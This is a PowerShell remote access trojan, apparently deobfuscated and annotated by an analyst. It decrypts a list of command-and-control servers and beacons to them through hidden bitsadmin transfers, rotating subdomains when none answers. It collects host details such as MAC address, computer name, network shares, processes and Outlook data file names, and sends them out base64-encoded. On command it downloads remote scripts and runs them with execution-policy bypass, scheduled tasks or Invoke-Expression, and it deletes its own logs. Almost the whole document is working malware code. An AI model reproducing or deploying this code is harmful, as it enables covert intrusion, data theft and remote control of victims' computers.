#Usual key $key=@(1..16); #Time in seconds between requests (40 min) $liveTime=2401; #Campaign name (or similar?) and version $Microverse="x2401"; $ver="4.3.2"; #The installation dir and filename (see installer) $installDir= Split-Path -parent -resolve $MyInvocation.MyCommand.Path; $installFileName = $PSCommandPath; #Temp working files $randomName=(Get-Process | get-random ).name; $tempFile=$scriptPath+'\'+$randomName+'.temp'; #Remove logs and temps try{ Remove-Item $scriptPath'\eval_*'}catch{} try{ Remove-Item $scriptPath"\*.log";}catch{} #Parameter to start a process without showing its window $startup=[wmiclass]"Win32_ProcessStartup" $startup.Properties['ShowWindow'].value=$False #Return the size of the kickstarter scripts (see installer) function GetPesistenceScriptsSize { param( [String]$installFileName ) $b=0; $m=0; $kickstarterPS1FileName=$installFileName+".ps1"; $kickstarterFileName=$installFileName+".viki"; if([System.IO.File]::Exists($kickstarterPS1FileName)){ $b=(Get-Item $kickstarterPS1FileName).length;} else {" " | out-file $kickstarterPS1FileName;} if([System.IO.File]::Exists($kickstarterFileName)){ $m=(Get-Item $kickstarterFileName).length;} else {" " | out-file $kickstarterFileName; } return $b,$m; } #Sleep for n seconds function SleepFor { param( [Int]$rt ) Start-Sleep -seconds $rt; return Get-Date } #Get the mac address $macAndDevice=getmac /fo table | select-object -last 1; $macAddress=$macAndDevice.substring(0,17); #MD5 function of MAC addr and computer name [Reflection.Assembly]::LoadWithPartialName("System.Web") $md5MacAndCompName=[System.Web.Security.FormsAuthentication]::HashPasswordForStoringInConfigFile($macAddress+$env:ComputerName, "MD5").tolower() #Reset all transfers &"bitsadmin" /reset #Find a valid C2 #First the C2 list is decoded $Secure= Get-Content $installDir+ "\sleep.sh"; $Encrypted= ConvertTo-SecureString $Secure -key $key; $c2CSV = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted)); $c2list=$c2CSV -split "," #Call each C2 For ($i=0; $i -le $c2list.Length-1; $i++) { #If that C2 has http in it if ($c2list[$i] -match "http") { $randomString = -join ((65..89) + (97..121) | Get-Random -Count 6 | % {[char]$_}) #The log of this attempt is saved in a file that start with the C2 index and continues with a random string $logName=$scriptPath+'\'+$i+'_'+$randomName+'.log'; #Ping the C2 #The address is /MD5(MAC + COMPUTER_NAME).html $cmd="bitsadmin"+' /transfer '+$randomString +' /priority FOREGROUND "'+$c2list[$i]+'/'+$md5MacAndCompName+'.html" '+ $logName; #Run the command ASYNCHRONOUSLY! ([wmiclass]"win32_Process").create($cmd,'.',$Startup) #Sleep for 20 seconds between C2 requests SleepFor -rt 20; } } #Wait for a result $e=1; $attempts=0; while($e -eq 1) { #For each C2 For ($i=0; $i -le $c2list.Length-1; $i++) { #Check if the log name exists (this log file is created by bitsadmin) $logName=$scriptPath+'\'+$i+'_'+$randomName+'.log'; if([System.IO.File]::Exists($logName)) { #Terminate the cycle $e=1; #Save the index $c2Index=$i; #Get the response $cryptoKey=Get-Content $logName; } } #Increment the attempts $attempts++; if ($attempts -gt 60) { $newC2List=""; #For each C2.... For ($i=0; $i -le $c2list.Length-1; $i++) { #... that contains http if ($c2list[$i] -match "http") { #This algo add a number after the bottom domain. #So: https://sub.malware.xyz becomes https://sub1.malware.xyz #The number is incremented up to 30, then it is removed to get the original domain again #Remove any non digit from the BLD (and everything before it). This get the current number. $l=$c2list[$i].split(".")[0] -replace "[^0-9]" , ''; #Remove any non letter or / after the BLD (and everything after it) $p=$c2list[$i].split(".")[1] -replace "[^A-Z/]" , ''; #Increment the number found $n=[int]$l+1; #If the number if > 30, set it to null if ($n -gt 30){ $n="";} #Make a string with the number and everything after it $r1=$l+'.'+$p; #Make with the incremented number and everything after it $r2=[string]$n+'.'+$p; #Make the new C2 and append it to the new C2 list $newC2List+=$c2list[$i]+"," -replace $r1, $r2 } } #Save the new C2 list $newC2ListSecure = ConvertTo-SecureString $newC2List -AsPlainText -Force $newC2ListEncrypted = ConvertFrom-SecureString -SecureString $newC2ListSecure -key $key; $newC2ListEncrypted | out-file $scriptPath"\sleep.sh"; #Terminate self (Get-WmiObject win32_process -Filter "name='powershell.exe'"| where-object {$_.CommandLine -match $installFileName}).terminate() } #Sleep for 5 second and they retry the log check Start-Sleep -s 5 } $info=""; #Add the path of all net shares to $info. #The format is {letter:netpath} for each share $netShareLetters=Get-WmiObject -Class Win32_LogicalDisk | Where-Object {$_.Description -match 'Network'} | Select-Object ProviderName,DeviceID; try{ if ($netShareLetters ){for ($i=0; $i -le $netShareLetters.length; $i++){$info=$info+'{'+$netShareLetters[$i].DeviceID+''+$netShareLetters[$i].ProviderName+'}';}} }catch {} try{ if ($netShareLetters -and $info -eq "" ){$info='{'+$netShareLetters[$i].DeviceID+''+$netShareLetters.ProviderName+'}';}}catch {} try{ #Save the output of netview in a random file .temp $nw=$scriptPath+'\_'+$randomString +'.temp'; $randomString = -join ((65..89) + (97..121) | Get-Random -Count 8 | % {[char]$_}) $nr=$scriptPath+'\_'+$randomString +'.temp'; $cmd='cmd /C net view > '+$nw+' & copy '+$nw+' '+$nr+' & exit'; ([wmiclass]"win32_Process").create($cmd,'.',$Startup) #Wait for the command $e=1; while($e -eq 1){If([System.IO.File]::Exists($nr)){$e=3;}Start-Sleep -s 3;} #Get the content and count the shares (using \\) #Add the info to $info with format {in net: count} $l=get-content $nr; $gk=$l -match '\\'; if ($gk -and $gk.length -gt 1){ $info=$info+'{in net:'+$gk.length+'}'; } }catch{} #Get CPU and OS name $cp=Get-WmiObject win32_processor | select Name; try{ if ($cp.length -gt 0){ $cpuName=$cp[0].Name }else{$cpuName=$cp.Name} }catch {} try{$osName=(gwmi win32_operatingsystem).caption }catch {} #Check for outlook and get a list of .OST files #The format is *filename1*filename2*...*filenameN where filenameX DOES NOT contain the .ost extension $outlookFiles=""; if (test-path $scriptPath"\..\Microsoft\Outlook\"){ $hasOutlook=1; $ost=gci $env:userprofile'\AppData\Local\Microsoft\Outlook\' -filter "*.ost" ForEach($ert in $ost){$outlookFiles+="*"+$ert.name -replace '.ost','';} }else{$hasOutlook=0;} #Get the C2 hostname try {$c2HostName=([System.Uri]$c2list[$c2Index]).Host}catch{} #This is main RAT cycle $s=0; $execScriptHistory=""; $lastDownloadedPayload=""; while($true) { $theProcesses=""; $randomString = -join ((65..89) + (97..120) | Get-Random -Count 9 | % {[char]$_}) #Get the running processes as a list separated by * $listOfProcesses=Get-Process | where-object {$_.name -notmatch "host" -and $_.name -notmatch "Search" -and $_.name -notmatch "Services" -and $_.name -ne "RuntimeBroker" -and $_.name -notmatch "app"} | Group-Object name |Select-Object name for ($i=0; $i -le $listOfProcesses.length-1; $i++){ $theProcesses=$theProcesses+"*"+$listOfProcesses[$i].Name; } #Get this script size and remove the .temp $scriptSize = GetPesistenceScriptsSize -fch $installDir+ "\" + $installFileName; try{ Remove-Item $scriptPath"\*.temp";}catch{} #Remove the last downloaded payload if ($lastDownloadedPayload -ne ""){ try{ Remove-Item -Recurse $lastDownloadedPayload; }catch{} $lastDownloadedPayload=""; } #Data sent to the C2 $data=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('{"self":"'+$MyInvocation.MyCommand.name+'","m":"'+$scriptSize[1]+'","b":"'+$scriptSize[0]+'","c":"'+$randomString +'","ver":"'+$ver+'",'+$execScriptHistory+'"lnk":"'+$c2HostName+'","s":"'+$s+'","g":"'+$Microverse+'","id":"'+$macAddress+'","v":"'+$osName+'","a":"'+$theProcesses+'","fm":"'+$outlookFiles+'","d":"'+$info+'","n":"'+$env:ComputerName+'","cpu":"'+$cpuName+'","o":"'+$hasOutlook+'"}')); #Call the C2 $cmd="bitsadmin"+' /transfer '+$randomString +' /priority FOREGROUND "'+$c2list[$c2Index]+$md5MacAndCompName+'/'+$data+'" '+$tempFile; ([wmiclass]"win32_Process").create($cmd,'.',$Startup) #Wait for call to complete, wait max 400*3 seconds $dCnt=0; $e=1; while($e -eq 1){ $dCnt++; if([System.IO.File]::Exists($tempFile)){$e=3;}SleepFor -rt 3; if ($dCnt -gt 400){$e=3;}} #Remove any error $cmd=&"bitsadmin" /list; if($cmd -match "$randomString(.*)ERROR"){ (Get-WmiObject win32_process -Filter "name='powershell.exe'"| where-object {$_.CommandLine -match $installFileName}).terminate() } $execScriptHistory=""; #How much to wait before calling the C2 again try {if ([int]$liveTime -lt 5){$liveTime=2401;} }catch{$liveTime=2401;} #If the C2 answered if([System.IO.File]::Exists($tempFile)) { #Read the c2 answer and split by * $line=Get-Content $tempFile; $line; $randomString = -join ((65..88) + (98..120) | Get-Random -Count 8 | % {[char]$_}) $c2Answer=$line.split('*'); #eval command if ($c2Answer[1] -eq "eval") { #Write a null command to avoid repeating this one the next cycle "0*0*0" | out-file $tempFile; #The format is *eval*id #Make a new random filder in appdata $imyf=-join ((65..89) + (97..120) | Get-Random -Count 10 | % {[char]$_}); New-Item -ItemType Directory -Force -Path $installDir+ '\..\' + $imyf; #Download the script in the random folder as a random file $ext=$c2Answer[0].substring($c2Answer[0].length -3,3); $logName=$scriptPath+'\..\'+$imyf+'\'+$randomString +'.'+$ext; $cmd="bitsadmin"+' /transfer '+$randomString +' /priority FOREGROUND "'+$c2Answer[0]+'?'+$cryptoKey+'" "'+$logName+'"'; ([wmiclass]"win32_Process").create($cmd,'.',$Startup) #Wait for it... $dCnt=0; $e=1;while($e -eq 1){$dCnt++;If([System.IO.File]::Exists($logName)){$e=3;}SleepFor -rt 3; if ($dCnt -gt 400){$e=4;}} #Successful download? If($e -eq 3) { #Rename the file and execute it copy $logName $logName'.ps1'; $cmd='powershell.exe -ep bypass -File "'+$logName+'.ps1"'; ([wmiclass]"win32_Process").create($cmd,'.',$Startup) #Remember this script has been downloaded and executed $execScriptHistory='"td":"'+$c2Answer[2]+'","tds":"3",'; }else { #Failed, reset and remember the failure &"bitsadmin" /reset $execScriptHistory='"td":"'+$c2Answer[2]+'","tds":"4",'; } $lastDownloadedPayload=$scriptPath+'\..\'+$imyf; } #Run as task elseif ($c2Answer[1] -eq "sch") { #This is the same as eval but the script is scheduled to be run in 3 minutes (once) "0*0*0" | out-file $tempFile; $imyf=-join ((65..89) + (97..120) | Get-Random -Count 10 | % {[char]$_}); New-Item -ItemType Directory -Force -Path $scriptPath'\..\'$imyf; $ext=$c2Answer[0].substring($c2Answer[0].length -3,3); $logName=$scriptPath+'\..\'+$imyf+'\'+$randomString +'.'+$ext; $cmd="bitsadmin"+' /transfer '+$randomString +' /priority FOREGROUND "'+$c2Answer[0]+'?'+$cryptoKey+'" "'+$logName+'"'; ([wmiclass]"win32_Process").create($cmd,'.',$Startup) $dCnt=0; $e=1;while($e -eq 1){$dCnt++;If([System.IO.File]::Exists($logName)){$e=3;}SleepFor -rt 3; if ($dCnt -gt 400){$e=4;}} If($e -eq 3){ copy $logName $logName'.ps1'; $_rt=((Get-Date).AddMinutes(3)).tostring("HH:mm") $cmd='powershell.exe -ep bypass -File "'+$logName+'.ps1"'; schtasks /F /create /sc once /TN "$randomString" /TR "$cmd" /ST "$_rt" $execScriptHistory='"td":"'+$c2Answer[2]+'","tds":"3",'; }else{ &"bitsadmin" /reset $execScriptHistory='"td":"'+$c2Answer[2]+'","tds":"4",'; } $lastDownloadedPayload=$scriptPath+'\..\'+$imyf; } #Execute PS code elseif ($c2Answer[1] -eq "ops") { #This is the same as eval but the downloaded script is executed with iex "0*0*0" | out-file $tempFile; $ext=$c2Answer[0].substring($c2Answer[0].length -3,3); $logName=$scriptPath+'\eval_'+$randomString +'.'+$ext; $u=$c2Answer[0]+'?'+$cryptoKey $cmd="bitsadmin"+' /transfer '+$randomString +' /priority FOREGROUND "'+$c2Answer[0]+'?'+$cryptoKey+'" "'+$logName+'"'; ([wmiclass]"win32_Process").create($cmd,'.',$Startup) $dCnt=0; $e=1;while($e -eq 1){$dCnt++;If([System.IO.File]::Exists($logName)){$e=3;}SleepFor -rt 3; if ($dCnt -gt 400){$e=4;}} If($e -eq 3){ $cmd=Get-Content $logName | Out-String; Invoke-Expression $cmd; $execScriptHistory='"td":"'+$c2Answer[2]+'","tds":"3",'; }else{ &"bitsadmin" /reset $execScriptHistory='"td":"'+$c2Answer[2]+'","tds":"4",'; } } #All commands can have an extra * to set the waiting time try {if ([int]$c2Answer[3] -gt 5){$liveTime=[int]$c2Answer[3];} }catch{} } #Sleep SleepFor -rt $liveTime; #Increment cycle counter $s++; }